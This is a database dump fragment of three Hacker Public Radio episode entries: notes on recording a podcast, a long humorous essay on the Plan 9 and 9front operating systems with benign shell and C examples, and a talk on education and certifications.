(3673,'2022-08-31','Recording for Hacker Public Radio',1066,'My experiences recording episodes of HPR','<ul>\n<li>How I\'ve recorded episodes:\n<ul>\n<li>iPhone 7 with Apple earbuds</li>\n<li>Zoom H1 Handy Recorder</li>\n<li>Sennheiser MB Pro 2 with <a href=\"https://gitlab.com/norrist/solocast\">Solocast</a></li>\n<li>Google Pixel 3 with the Dolby On app</li>\n</ul></li>\n<li>What is the compressor, and how to use it.</li>\n<li>What is the EQ, and how to use it.</li>\n<li>Environment, noise and reverberation</li>\n<li>Warming up, breathing</li>\n</ul>\n<p>Episodes referenced here:<br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=3625\">hpr3625 :: Shell Tips and Snippets - Collaborative Effort hosted by Carl</a><br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=3496\">hpr3496 :: How I record HPR Episodes</a><br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=1342\">hpr1342 :: Power Tool Drag Racing! hosted by MrGadgets</a></p>\n<p>All the information in this show is just what I have learned and what I think. Let us know if you have learned other things by recording your own show!</p>\n',399,45,0,'CC-BY-SA','\"sound editing\"',0,0,1),
(3675,'2022-09-02','Plan 9: An exercise in futility',4771,'I talk about the design of Plan 9 and how I use it','<h1 id=\"plan-9-an-exercise-in-futility\">Plan 9: An exercise in futility</h1>\n<h5 id=\"it-is-my-right-to-exercise-my-futility-wherever-whenever-and-with-whoever-i-please\">It is my right to exercise my futility wherever, whenever, and with whoever I please</h5>\n<h1 id=\"some-ideas-about-plan-9\">Some ideas about Plan 9:</h1>\n<blockquote>\n<p>It\'s like the uncanny valley of UNIX</p>\n</blockquote>\n<blockquote>\n<p>Cool, but useless</p>\n</blockquote>\n<blockquote>\n<p>Can you sum up plan 9 in layman\'s terms? It does everything Unix does only less reliably - Ken Thompson</p>\n</blockquote>\n<blockquote>\n<p>If you cannot imagine a use for a computer that does not involve a web browser, Plan 9 may not be for you - 9front FQA</p>\n</blockquote>\n<blockquote>\n<p><code>#d/0:28: null list in concatenation</code></p>\n</blockquote>\n<h1 id=\"history-and-description\">History and description</h1>\n<p>The boys at bell labs decide UNIX wasn\'t good enough so they decided to build something better: a distributed multiuser operating system composed of many machines. Many of the same ideas behind UNIX were pushed to absurd extremes. The idea that \"everything is a file\" is made blatantly apparent to everyone and sometimes, in my opinion, can feel \'overly-abstracted\'. Additionally, the concept of private namespaces makes the concept of virtual filesystems seem like \'baby\'s first filesystem abstraction\'.</p>\n<p>Just like UNIX, 9 started as a research operating system. Both are enjoyed by hobbyists, both are interesting ways of using a computer, both have a lot of fun in store. But the systems do diverge in one major aspect: UNIX is mainstream and 9 is still a research operating system. Plan 9 is currently distributed under the MIT license.</p>\n<p>\"What is plan 9?\", Taken directly from <code>intro(1)</code>:</p>\n<blockquote>\n<p>Plan 9 is a distributed computing environment assembled from separate machines acting as terminals, CPU servers, and file servers. A user works at a terminal, running a window system on a raster display. Some windows are connected to CPU servers; the intent is that heavy computing should be done in those windows but it is also possible to compute on the terminal. A separate file server provides file storage for terminals and CPU servers alike.</p>\n</blockquote>\n<p>In practice, modern 9 users just run all of these services on a single machine because maintaining many machines to achieve a single usable \'operating system\' is unnecessary; the 9 user finds himself scared and alone without enough users (1 is rarely enough) to justify building a distributed environment.</p>\n<h1 id=\"use-cases\">Use cases</h1>\n<p>Intended: distributed multiuser network (ie not mainframe), later embedded since UNIX was too bad to be stopped</p>\n<p>Actual: Acting like a UNIX hipster, pretending that 9 is anything other than vaporware, imagining that you are gaining social credit by posting screenshots of abandonware on internet forums. See also: Operating System Tourism</p>\n<h1 id=\"9-in-the-wild\">9 in the wild</h1>\n<ul>\n<li>Unicode is now a plague</li>\n<li>rfork</li>\n<li>9p\n<ul>\n<li>leveraged by microsoft to discourage end users from actually running GNU+Linux as St Ignucius intended</li>\n<li>QEMU\'s VirtFS</li>\n</ul></li>\n<li>various window managers for UNIX, written by people who like the ideas behind 9 but not enough to actually run 9</li>\n<li>\"cool idea, I\'m adding it to Linux\"</li>\n</ul>\n<ul>\n<li>private namespaces</li>\n<li>union directories</li>\n<li>see: docker</li>\n</ul>\n<h1 id=\"design\">Design</h1>\n<p>The goal of 9 was to build a distributed operating system that expands upon Unixy ideas, <strong>not</strong> to build something that\'s backwards compatible. \"We want to improve UNIX\" is mutually exclusive to \"we want to port UNIX to this wacky new kernel\". UNIX programs (and behemoths like FireFox) are difficult^impossible to port to 9 because of this design decision.</p>\n<h2 id=\"distributed-operating-systems\">Distributed operating systems</h2>\n<p>Since 9 was designed to be a distributed operating system, many of the internals are oriented towards networking. On a single system installation, all three of the components that make a 9 network are working together in a client-server model. The filesystem is presented as a service, the CPU is presented as a service, and the terminal is presented as a service. This type of \"abstraction from the physical hardware\" makes it difficult to succinctly describe and explain 9.</p>\n<p>If you think about 9 as a heterogeneous network of machines the ideas start to make sense. If you think about 9 as a self-contained single-machine operating system the ideas only become more confusing.</p>\n<p>One thing that has helped me wrap my head around the client/server idea is actually thinking less. When running a MySQL server in a LAMP stack, the database server and client are running on the same machine. When writing a program, you instruct the client to access the database located at the address <code>localhost</code>. Despite the design intention to run the database as a separate machine, loopback device hacks ensue. The idea of client/server permeates 9.</p>\n<p>The filesystem? Presented as a server regardless of what physical machine it\'s located on. The CPU? Presented as a server regardless of what physical machine it\'s located on. The terminal? Presented as a server regardless of the physical machine it\'s located on.</p>\n<p>On a single machine 9 installation, all of these servers are running locally but accessed <em>as if</em> they were running remotely. Insanity ensues but at least it\'s easier to write code for.</p>\n<h2 id=\"9p-the-plan-9-filesystem-protocol\">9p: the Plan 9 Filesystem Protocol</h2>\n<p>9p is a networking protocol that makes this client/server model possible. Internally, the filesystem is served to the client over 9p. Many applications make use of 9p, including text editors, windowing systems, plumber, etc. In UNIX, everything is a file. In 9, everything is a filesystem accessed via 9p.</p>\n<h2 id=\"private-namespaces-union-directories\">Private Namespaces, Union Directories</h2>\n<p>The most important aspect of 9: namespaces.</p>\n<p>Namespaces have caused me much confusion until recently. In 9, each process constructs a unique view of the filesystem. The phrase that gets stuck in my head is \"a private namespace is a per-process view of the filesystem\". The easiest way to think about namespaces is to think about a \"virtual directory\". Unix has \"virtual filesystems\", 9 has \"virtual directories\".</p>\n<p>The concept of namespaces allows a user to pull resources from all over the network and present them as \"a single local filesystem\" with absolute disregard for where these resources are actually coming from. In order to construct a namespace, union directories are used. A union directory is a directory made of several directories bound to the same directory. This concept is similar to a bind mount on UNIX.</p>\n<p>The kernel keeps separate mount table for each process. Using namespaces, a user or admin can create more secure isolated environments (similar to a chroot).</p>\n<p>Processes and their children are grouped together so that inheritance of the namespace occurs. These process groups can be customized.</p>\n<hr />\n<p>The \'per-process namespace\' concept can be confusing to UNIX users at first, especially when binding (ie mounting) resources. When I first started using 9 I was very confused when I bound something in one terminal, switched to another, then became disoriented as the thing I just bound seemingly stopped existing. My big example is mounting the boot partition or a filesystem over ssh:</p>\n<pre class=\"sh\"><code># In this window, I have bound the boot partition.\n# It behaves expectedly.\nterm% 9fs 9fat\nterm% lc /n\n9/      9fat/   other/  ssh/\nterm% lc /n/9fat\n9bootfat        9pc64           oldplan9.ini    plan9.ini\n9pc             efi/            pbs.bak\nterm%\n</code></pre>\n<pre class=\"sh\"><code># In this other window, the boot partition doesn&#39;t seem to be mounted.\n# This causes much confusion for the end user.\nterm% lc /n\n9/      9fat/   other/  ssh/\nterm% lc /n/9fat\nterm%\n</code></pre>\n<hr />\n<h1 id=\"files\">Files</h1>\n<p>The second most important aspect of 9: \"Everything is a file\" taken to absurdist absolutes. The kernel presents hardware devices as files bound to /dev. Within the namespace, devices are just files. Outside the namespace, devices are named with a leading <code>#</code> to help distinguish between pseudo-files and devices. These physical devices are bound to <code>/dev/</code> and presented as files for easy administration, access, and programming. Presenting everything as a file accessible via 9p greatly reduces the total number of system calls.</p>\n<hr />\n<p>Examples of \"Everything is a file\":</p>\n<pre class=\"sh\"><code># The clipboard in 9 is called /dev/snarf\n# We can easily write and read from this clipboard\nterm% cat /dev/snarf\nSYNOPSIS\n#include &lt;u.h&gt;\n\n#include &lt;libc.h&gt;\n\n#include term%\nterm% fortune &gt; /dev/snarf\nterm% cat /dev/snarf\nIf at first you succeed, try to hide your astonishment.\nterm%\n</code></pre>\n<pre class=\"sh\"><code># The display in 9 is called /dev/screen\n# We can easily take a screenshot\nterm% file /dev/screen\n/dev/screen: plan 9 image, depth 32, size 1366x768\nterm% cat /dev/screen | topng &gt; screenshot.png\nterm% file screenshot.png\nscreenshot.png: PNG image\nterm%\n</code></pre>\n<hr />\n<h2 id=\"message-oriented-filesystem\">Message oriented filesystem</h2>\n<p>Continuing with the idea that \"everything is a filesystem\", processes can offer services to other processes by placing virtual files into other processes\' namespaces. File I/O on this special virtual file becomes interprocess communication. This is similar to a UNIX socket but significantly less difficult to program against because all of the hard parts have been abstracted: it\'s just simple file I/O.</p>\n<h2 id=\"virtual-filesystem-with-more-special-files\">Virtual filesystem (with more special files)</h2>\n<p>The <code>/proc</code> filesystem presents processes as a files in a filesystem. This makes writing programs that manage process extremely easy by reducing the total number of system calls to simple file I/O. The <code>/proc</code> filesystem allows users to manage processes using standard command line utilities like <code>cat(1)</code> and <code>ls(1)</code>.</p>\n<p>Linux borrowed the idea of a <code>/proc</code> filesystem.</p>\n<h2 id=\"unicode\">Unicode</h2>\n<p>Although the implementation is not fully internationalized, UTF-8 is fully there. Unicode is fully backwards compatible with ASCII. Thanks to &#x2468;, we now have people writing exclusively with primitive hieroglyphics instead of words.</p>\n<h2 id=\"portability\">Portability</h2>\n<p>Just like UNIX, 9 was designed with portability in mind. 9 is written in a strange dialect of ANSI C which means it\'s portable. Although the system is self hosting, images are rarely built on a self hosting environment. Instead, the end user will download a generic amd64 or i386 image, cross compile for the obscure target architecture, wrap it up in an install image, then burn that image to an install disk. After installation, it is generally a good idea to recompile the entire operating system so that your copy is self-hosted.</p>\n<p>The compiler suite is quite clever in that each compiler is named according to the target architecture, the object files are named according to the target architecture, etc. The alnum prefix/extensions are also shared by the various linkers and assemblers.</p>\n<pre><code>0c spim    little-endian MIPS 3000 family\n\n1c 68000   Motorola MC68000\n\n2c 68020   Motorola MC68020\n\n5c arm     little-endian ARM\n\n6c amd64   AMD64 and compatibles (e.g., Intel EM64T)\n\n7c arm64   ARM64 (ARMv8)\n\n8c 386     Intel i386, i486, Pentium, etc.\n\nkc sparc   Sun SPARC\n\nvc mips    big-endian MIPS 3000 family\n</code></pre>\n<h2 id=\"filesystems\">Filesystems</h2>\n<p>Multiple filesystems are supported, most suck. The only one the average tourist has heard of is FAT. The one I use is <code>cwfs64x(4)</code>. cwfs is a strange filesystem. Every night, it makes a dump of the filesystem. You can access these dumps by running:</p>\n<pre class=\"sh\"><code>9fs dump\ncd /n/dump/YYYY/MMDD/\n</code></pre>\n<p>And, managing the file server (trying to uncorrupt cwfs), all while the kernel is spraying error messages</p>\n<pre><code>term% con -C /srv/cwfs.cmd\nhelp\ncheck tag\ncheck ream\ncheck free\ncheck\n</code></pre>\n<p>After my system crashes, and after consulting <code>fs(8)</code>, the above commands seem to solve my corruption problems. Not always. But sometimes.</p>\n<p>The cache is a WORM: Write Once Read Many filesystem. Traditionally, the \"fast\" hard drives would be backed up to tape archives. In the modern era, we have a WORM partition. The worm partition stores data forever so it will eventually get full and need cleaning. It is possible to run without a WORM but it\'s a bad idea. Built in version control.</p>\n<p>Data integrity not guaranteed.</p>\n<h2 id=\"secstore\">Secstore</h2>\n<p>stores various passwords to nvram. BIOS integrety not gauranteed. If you don\'t like thrashing the nvram and it\'s limited write ops, an partition can be created and mouted as if it were nvram.</p>\n<h2 id=\"factotum\">Factotum</h2>\n<p>stores various passwords in memory (like ssh-agent)</p>\n<h1 id=\"known-forks\">Known forks</h1>\n<ul>\n<li><p>Dead:</p>\n<ul>\n<li><a href=\"https://p9f.org/\">Plan 9 From Bell Labs (also called \'Labs 9\', the original)</a></li>\n<li><a href=\"https://web.archive.org/web/20201111224911/http://www.9atom.org/\">9atom (even the domain has expired)</a></li>\n<li><a href=\"http://akaros.org\">Akaros </a></li>\n<li><a href=\"https://harvey-os.org/\">Harvey (attempt to port 9 to GCC/Clang)</a></li>\n<li><a href=\"https://lsub.org/nix/\">NIX </a></li>\n<li><a href=\"http://jehanne.io/\">jehanneOS </a></li>\n<li><a href=\"https://github.com/jvburnes/node9\">node9 </a></li>\n<li><a href=\"https://www.vitanuova.com/inferno/\">inferno (in permanent limbo)</a></li>\n</ul></li>\n<li><p>Life Support:</p>\n<ul>\n<li><a href=\"https://9front.org\">9front (actively developed, many QOL patches)</a></li>\n<li><a href=\"http://www.9legacy.org/\">9legacy (patches applied to Labs9)</a></li>\n<li><a href=\"https://9fans.github.io/plan9port/\">Plan 9 From User Space (also called \'plan9port\', you will be laughed at)</a></li>\n</ul></li>\n</ul>\n<p><a href=\"https://9front.org\">9front</a> is really the only \'usable\' one because the QOL modifications add important things like general stability, git client, mercurial, ssh, various emulators, audio, WiFi, and USB support.</p>\n<h1 id=\"using-9\">Using 9</h1>\n<p>What does the 9 experience actually look like in 2022? You put 9 in a VM, posted a screenshot, shutdown the VM, then continued using Ubuntu because you can\'t play video games or easily watch videos online in 9.</p>\n<p>Hardware support in 9front is expanding but still limited. <a href=\"http://plan9.stanleylieber.com/hardware/\">Refer to the list of supported hardware.</a> I run 9front on a Thinkpad x220 and it seems to just work. Some people run it on a Raspi but I\'m not sure why. It works quite well with KVM and QEMU if you\'re an OS tourist. I see no reason to add a dmesg because it will either work or it won\'t.</p>\n<h1 id=\"available-software\">Available software</h1>\n<p>GNU might not be UNIX but 9 isn\'t even trying to be UNIX-like.</p>\n<h2 id=\"gui\">GUI</h2>\n<p>Unlink UNIX, 9 was designed with graphics in mind. Some people have said that the 9 GUI looks similar to a smalltalk machine but I think it\'s just the only good stacking window manager. A three button mouse is necessary for using 9front. Shift-rightclick emulates middle click.</p>\n<h3 id=\"rio\">Rio</h3>\n<p>Rio is the Plan 9 windowing system. It\'s the successor to 8&#xBD; window manager. Rio is lightweight compared to X11 because access to graphical hardware is built into the kernel and using files+namespaces to access input devices.</p>\n<p>The most brief way of explaining rio is to think of it as a rectangle multiplexer, where each rectangle is served a file interface (9p). Although rectangles might seem counterintuitive at first, thinking less hard makes it easier to use. I still have difficulty efficiently using a mouse-centric interface after using terminal interfaces almost exclusively for many years. I dislike the windows way of using a mouse but the 9 way seems to make quite a lot of sense when I \"think less hard\" and allow the intuition to take control.</p>\n<p>The argument for mouse-centric computing and text editing is that it\'s faster. Of course, the average vim user is editing text faster than the speed of thought but most people aren\'t the average vim user. Instead, they only know how to use arrow keys to move a cursor. Without memorizing hundreds of vim bindings (and forgetting the names and birth dates of your family members in the process), obviously a mouse is faster.</p>\n<p>Mouse controls are confusing at first because they follow the \"click and hold, hover to option, release\" to select an option. They look something like follows:</p>\n<ul>\n<li>Right click (window management controls)\n<ul>\n<li>New</li>\n<li>Resize</li>\n<li>Move</li>\n<li>Delete</li>\n<li>Hide</li>\n</ul></li>\n<li>Middle click (text manipulation controls)\n<ul>\n<li>cut</li>\n<li>paste</li>\n<li>snarf (copy highlighted text)</li>\n<li>plumb (send highlighted text to process, or, more effectively: open file with appropriate program)</li>\n<li>look (search for highlighted text)</li>\n<li>send (run highlighted text as a shell command)</li>\n<li>scroll (toggle autoscroll/noautoscroll)\n<ul>\n<li>The left click button is used to select text and windows.</li>\n</ul></li>\n</ul></li>\n</ul>\n<p>The concept of mouse-chording is also prominent in rio but it\'s even more difficult to explain without a visual demonstration.</p>\n<p>Rio and it\'s windows also support UNIX style keyboard shortcuts:</p>\n<ul>\n<li>^-u deletes from cursor to start of line</li>\n<li>^-w deletes word before cursor</li>\n<li>^-h deletes the character before the cursor</li>\n<li>^-a moves the cursor to the start of the line</li>\n<li>^-e moves the cursor to the end of the line</li>\n<li>^-b moves the cursor back to the prompt</li>\n<li>^-f is the autocomplete key, functionally equivalent to tab completion</li>\n<li>^? (DEL key) is the equivalent to ^-c on UNIX</li>\n</ul>\n<p>Additionally, in a text window, the arrow keys and PgUp/PgDown keys behave as expected. The home/end keys scroll the window to the top/bottom of the text buffer respectively.</p>\n<p>These text windows have a built in pager so there is no <code>more</code> or <code>less</code> command. I can\'t decide if I like built in paging but it\'s definitely a thing to think about.</p>\n<p>The colorscheme of rio is dull and pastel and this is intentional. Less vibrant color schemes seem to fade away and become less obvious. Color themes like Tango, Linux Console, Solarized, all of KDE, and WIndows XP are very obvious but not in a good way. Bright colors are subtly distracting and make it difficult to concentrate. When I\'m configuring a UNIX system with dwm, I borrow Rio\'s color theme because it\'s an anti-theme. Give it time. It\'s charming in it\'s own way. Modifying the source code for rio allows for custom color themes. It\'s possible but you will be laughed at. Setting a wallpaper is also possible but I don\'t do this because my windows are always covering the dull gray background.</p>\n<p>As for X11, the equis X11 server can only be run via linux compat layers. The lack of a viable X server is yet another reason 9 has no programs.</p>\n<h2 id=\"command-line-utilities\">Command Line Utilities</h2>\n<p>The shell on 9 is called <code>rc(1)</code>. It\'s like any other shell you\'ve used except that you expect it to be bourne-like but it isn\'t. Standard UNIX shell concepts like pipes, file redirects, &amp;&amp; and ||, etc. Scripting is not POSIX-like at all so reading the man page and various scripts written in <code>rc</code> is the only way to learn.</p>\n<p>Other various UNIX utilities exist and function as expected (although some of the ones you would like are missing). <code>awk</code>, <code>grep</code>, <code>sed</code>, <code>cat</code>, <code>tar</code>, <code>gzip</code>, <code>ed</code>, etc are present.</p>\n<h2 id=\"editors\">Editors</h2>\n<p>There are three primary ways of editing text on 9: <code>ed(1)</code>, <code>sam(1)</code>, and <code>acme(1)</code>. There is no <code>vi</code> aside from the MIPS emulator, there is no <code>emacs</code> except for a man page explaining why there is no emacs.</p>\n<p>I have primarily used acme in the past, but sam is a much better editor.</p>\n<p><code>sam</code> is a lot like a graphical version of <code>ed</code>. I still need to learn <code>ed</code> because it\'s the standard editor. Some of the standard <code>vi</code> commands are available and regex works. I like sam quite a lot but it seems to corrupt files when the system crashes.</p>\n<p><code>acme</code> is a window manager, file browser, terminal emulator, and email client that some people use as a text editor. The coolest part about acme is the ability to write arbitrary editor and system commands in the menu bar, highlight them, then middle click to execute those commands.</p>\n<h2 id=\"some-of-the--supported-networking-protocols\">(Some of the ) Supported Networking Protocols</h2>\n<ul>\n<li>IMAP\n<ul>\n<li>good luck</li>\n</ul></li>\n<li>NTP</li>\n<li>IRC\n<ul>\n<li>ircrc</li>\n<li>other non-default implementations exist</li>\n</ul></li>\n<li>FTP</li>\n<li>HTTP\n<ul>\n<li><code>mothra</code> is the standard web browser. It does not support CSS or all of the HTML tags. Obviously, javascript is unsupported.</li>\n<li><code>abaco</code> exists. I\'ve used it a few times. It renders slightly better than mothra but is a pain to use.</li>\n<li>Various inferno vaporware exists but the ports don\'t work</li>\n<li>NetSurf has been ported to 9front by leveraging components of APE. It almost works</li>\n<li><code>hget</code>, like curl</li>\n</ul></li>\n<li>SSH\n<ul>\n<li>it only works in conjunction with the <code>vt(1)</code> command.</li>\n<li>sshfs</li>\n<li>sshnet for proxying traffic</li>\n</ul></li>\n<li>VNC</li>\n<li>Various torrent software (magnet links not supported)</li>\n<li>Drawterm\n<ul>\n<li>no, good luck, you will be laughed at</li>\n</ul></li>\n<li>Of course, 9p</li>\n</ul>\n<h3 id=\"a-security-aside\">A Security aside</h3>\n<p>Various server implementations for these protocols exist but you really shouldn\'t use them on the WAN as they are ancient, unmaintained, unaudited, and easy to exploit. Prime example: the /g/entoomen found a path traversal vulnerability in the 9front httpd server, then leveraged that vuln to exploit a vuln in the authentication system. Not that the boys back home did anything malicious with this bug . . . but the ability to pwn a system by sending cleverly crafted GET requests should tell you enough about the current state of security in 9.</p>\n<ul>\n<li>Firewall\n<ul>\n<li>no</li>\n</ul></li>\n<li>Disk Encryption\n<ul>\n<li>unreliable</li>\n</ul></li>\n<li>Access control\n<ul>\n<li>what?</li>\n</ul></li>\n<li>filesystem\n<ul>\n<li>cwfs has an poorly documented special user called <code>none</code> that is allowed to connect to fossil, cwfs, and maybe hjfs without a password. Set the <code>nonone</code> option in cwfs if you are even thinking about putting 9 on the internet.</li>\n</ul></li>\n</ul>\n<p>Don\'t even think about putting 9 on the internet</p>\n<h2 id=\"unix-compat-layer-ape\">UNIX compat layer (ape)</h2>\n<p>APE is the ANSI POSIX Emulator. It doesn\'t work and is almost entirely empty. Lots of tiny programs to write, not much interest in writing lots of tiny program. There is a general attitude among 9 users that \"9 is unique\" porting POSIX libs to 9 would ruin the appeal. I almost think I agree with this sentiment.</p>\n<h2 id=\"emulation\">Emulation</h2>\n<ul>\n<li>Linux\n<ul>\n<li>don\'t</li>\n</ul></li>\n<li>GameBoy</li>\n<li>GameBoyAdvance</li>\n<li>NES</li>\n<li>SNES</li>\n<li>Sega MegaDrive/Genesis</li>\n<li>c64</li>\n<li>vmx, a PC emulator (effectively virtualization)\n<ul>\n<li>It\'s slow</li>\n<li>it almost works</li>\n<li>it crashes your system</li>\n<li>cwfs gets corrupted</li>\n<li>\"runs\" OpenBSD, Linux, and ancient Windows with graphics support</li>\n</ul></li>\n<li>and also various emulators for obscure architectures</li>\n</ul>\n<h2 id=\"vcs\">VCS</h2>\n<ul>\n<li>Mercurial used to come with 9front but it has been removed.</li>\n<li>CVS does exist but not in the base system.</li>\n<li>A native git implementation exists and is in the base system. It\'s bare bones but it mostly works.</li>\n</ul>\n<h2 id=\"community-maintained-software\">Community Maintained Software</h2>\n<p><a href=\"https://contrib.9front.org\">The 9front community has been collecting known programs for some time</a> and <a href=\"https://wiki.9front.org/extra\">various other community software can be found in the wiki</a>. Both are served as a ports system, similar to a BSD style ports system. There are no binary packages. Makefiles are broken.</p>\n<h2 id=\"programming-languages\">Programming Languages</h2>\n<h3 id=\"mkfiles\">mkfiles</h3>\n<p>9 ships a program called <code>mk(1)</code>. Syntax (in the simplest ways) is identical to UNIX <code>make(1)</code>.</p>\n<h3 id=\"the-absurdities-of-9-c\">The Absurdities of 9 C</h3>\n<p>Plan 9 C is syntactically similar to ANSI C but it varies. The stdlibs on 9 are much simpler than the POSIX monster.</p>\n<pre class=\"c\"><code>/* POSIX C example */\n#include &lt;stdio.h&gt;\n\nint main(){\n    printf(&quot;hello, world\\n&quot;);\n    return 0;\n}\n</code></pre>\n<pre class=\"c\"><code>/* 9 C example */\n#include &lt;u.h&gt;\n#include &lt;libc.h&gt;\n\nvoid main(){\n    print(&quot;hello, world\\n&quot;);\n    exits(0);\n}\n</code></pre>\n<p><code>u.h</code> contains CPU specific instructions, <code>libc.h</code> contains all of the system calls, time functions, math functions, unicode functions, and print functions. In contrast to POSIX, functions in 9c return strings instead of ints.</p>\n<pre class=\"sh\"><code># Compiling on UNIX\n$ cc main.c\n$ ./a.out\nhello, world\n$\n</code></pre>\n<pre class=\"sh\"><code># Compiling on 9\n% 6c main.c\n% 6l main.6\n% 6.out\nhello, world\n%\n</code></pre>\n<p>In the 9 compiler example, I\'m using the amd64 compiler and linker. Notice how the <code>6</code> persists as the prefix/suffix to help developers remember which architecture this specific program is written for. Instead of unspecific object files with a <code>.o</code> suffix, the object file\'s suffix is actually representative of what types of opcodes the file contains. Similarly, after linking, the <code>6.</code> prefix tells us that the binary is for an amd64 processor.</p>\n<p>And also, the simplest UNIX program with buffers: read from stdin and write directly to stdout:</p>\n<pre class=\"c\"><code>/* POSIX C */\n#include &lt;stdio.h&gt;\n\nint main(int argc, char *argv[]){\n    char buf[32];\n    size_t bufs = sizeof(char)*32;\n    size_t nread = 0;\n\n    while((nread = fread(buf, 1, bufs, stdin)) &gt; 0){\n        fwrite(buf, 1, nread, stdout);\n    }\n\n    return 0;\n}\n</code></pre>\n<pre class=\"c\"><code>/* Plan 9 C */\n#include &lt;u.h&gt;\n#include &lt;libc.h&gt;\n\nvoid main(int argc, char *argv[]){\n    char buf[32];\n    char bufs = sizeof(char)*32;\n    int nread = 0;\n\n    while((nread = read(0, buf, bufs)) &gt; 0){\n        write(1, buf, nread);\n    }\n\n    exits(0);\n}\n</code></pre>\n<p>In 9, <code>stdin</code> is file descriptor <code>0</code>, <code>stdout</code> is <code>1</code>, and <code>stderr</code> is <code>2</code>.</p>\n<p>And, the binary sizes betwen the two. You probably recognize <code>a.out</code>, this one was compiled with GCC. <code>6.out</code> is an amd64 Plan 9 binary compiled on 9.</p>\n<pre class=\"sh\"><code>$ ls -sh ./*.out\n4.0K ./6.out\n 28K ./a.out\n</code></pre>\n<p>Binaries on plan 9 are statically linked. It\'s somewhat strange to see that a statically linked binary is smaller than a dynamically linked one. Even compiling the plan 9 source on Linux using plan9port yeilds a large binary: 40K.</p>\n<p>I have not written 9C in a long time so I cannot say much more with confidence and authority. Refer to <a href=\"https://doc.cat-v.org/plan_9/programming/c_programming_in_plan_9\">C Programming in Plan 9 from Bell Labs</a> for more information.</p>\n<p>The <code>acid(1)</code> debugger exists but it\'s hard to use if you\'re not fluent in assembly.</p>\n<h3 id=\"ancient-go\">Ancient Go</h3>\n<p>Ancient Go once ran on 9. In 2022, you\'re better off just writing C and rc.</p>\n<h2 id=\"wifi\">WiFi</h2>\n<p>Some wifi cards are supported on 9front. My thinkpad x220 uses the iwl drivers. The FQA is somewhat vague when it comes to actually using the drivers. Good luck :)</p>\n<h1 id=\"why-isnt-9-more-popular-if-it-supposedly-improves-on-bad-unix-ideas\">Why isn\'t 9 more popular if it supposedly improves on \"bad Unix ideas\"?</h1>\n<ul>\n<li>Unix is \'just good enough\'</li>\n<li>9 is not \'better enough\' to beat out \'just good enough\'</li>\n<li>Porting software is difficult^impossible because 9 was deliberately written to be <em>not</em> backwards compatible.\n<ul>\n<li>\"If you port it, they will come\"</li>\n</ul></li>\n<li>9 is uncomfortable to use if you have Unix muscle memory</li>\n<li>no modern web browser</li>\n<li>no video games (I\'m pretty sure there are doom and quake source ports though)</li>\n<li>multimedia consumption is hard</li>\n<li>no GNU</li>\n</ul>\n<h1 id=\"why-do-people-use-9-if-its-so-bad\">Why do people use 9 if it\'s so bad?</h1>\n<p>I can\'t be sure about all other ~20 Plan 9 fans in the world, but for myself, it\'s purely out of a genuine curiosity and love for computing. My motivation for learning obscure, unnecessary, and quite frankly boring things related to computers is that it brings me some sense of satisfaction/accomplishment/enjoyment. Linux stopped being fun for me when I came to the realization that all distributions are fundamentally the same. I started exploring the BSD world only to realize that all UNIX-like operating systems are fundamentally the same. Although BSD remains a store of fun for me, I occasionally feel burned out on UNIX even if it\'s an abstract idea/experience/codebase I cherish.</p>\n<p>When I sit down at a computer my goal is always to discover something new, learn a new concept, explore alternative paradigms, and, most of all, to have fun in the process.</p>\n<p>For most people, 9 is a tourist experience. For me, it\'s the final frontier. Although I have yet to learn as much about 9 as I have about UNIX, every time I swap hard drives and boot into 9 I feel a sense of coming home. Sometimes I think I am wilfully resisting becoming a 9 expert because it will result in me struggling to find the next non-bad OS paradigm to explore.</p>\n<p>And when I think about \"using a computer\", what do I really do on the computer? I learn about it, learn about the software running on it, and proceed to write about it so that I can reinforce the ideas in a Feynman-esque way. I\'m not really providing a real tangible value to the world because it\'s purely a \"hey, here\'s the things I learned the hard way so you don\'t have to\".</p>\n<h1 id=\"conclusion\">Conclusion:</h1>\n<blockquote>\n<p>How do I do xyz on 9?</p>\n</blockquote>\n<p>don\'t. search engines won\'t help. Man pages won\'t help. /sys/doc might help. Reading the source code won\'t help. have fun :)</p>\n<p>Or consider:</p>\n<pre class=\"sh\"><code>term% vt -xb\nterm% ssh user@host\n$ tmux a\n$ reset\n# some commands\n$ reset\n# some commands\n$ reset\n</code></pre>\n<p>Alternatively:</p>\n<pre class=\"sh\"><code>term% vncv host:display\n</code></pre>\n<h1 id=\"further-reading\">Further reading:</h1>\n<ul>\n<li><a href=\"https://fqa.9front.org\">9front FQA</a>. Very humorous, good information</li>\n<li>read the papers in <code>/sys/doc</code> or <a href=\"https://doc.cat-v.org/plan_9/2nd_edition/papers/\">on cat-v.org</a></li>\n<li><a href=\"https://youtu.be/6m3GuoaxRNM\">Plan 9: Not dead, Just resting</a></li>\n<li><a href=\"https://youtu.be/Dt3Dr3jUPjo\">A visual demonstration of rio</a></li>\n<li><a href=\"https://youtu.be/dP1xVpMPn8M\">A visual demonstration of acme</a></li>\n<li><a href=\"https://doc.cat-v.org/plan_9/programming/c_programming_in_plan_9\">C Programming in Plan 9 from Bell Labs</a></li>\n<li><a href=\"https://pspodcasting.net/dan/blog/2019/plan9_desktop.html#conclusion\">Plan 9 Desktop Guide</a>. Might be useful for someone. Not too useful for me. Man pages are better.</li>\n<li><a href=\"https://www.youtube.com/user/C04tl3\">C04tl3 youtube channel</a>. Lots of cool videos with information.</li>\n<li><a href=\"https://archive.org/details/plan9designintro\">Introduction to Operating System Abstractions using Plan 9 from Bell Labs </a></li>\n<li><a href=\"https://sdf.org/plan9/\">SDF public Plan 9 server</a></li>\n</ul>\n',406,0,1,'CC-BY-SA','UNIX, Plan 9',0,0,1),
(3688,'2022-09-21','Education, Certifications, and sipping on the Socials',1820,'I discuss the value of an Education, certifications, and a positive Social Media presence.','<p>I have had a lot of questions over the years about how to proceed with a career, education, and certifications. So, I give my take on these and what they mean relative to my life experiences. Individual mileage may vary. I also discuss the need to have a public facing social media presence that is active and consistent. Hide the private Socials and search to see what actually shows up when searching for yourself. Your future employers will. Just sayin\'.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,socialmedia,education,certifications',0,0,1),
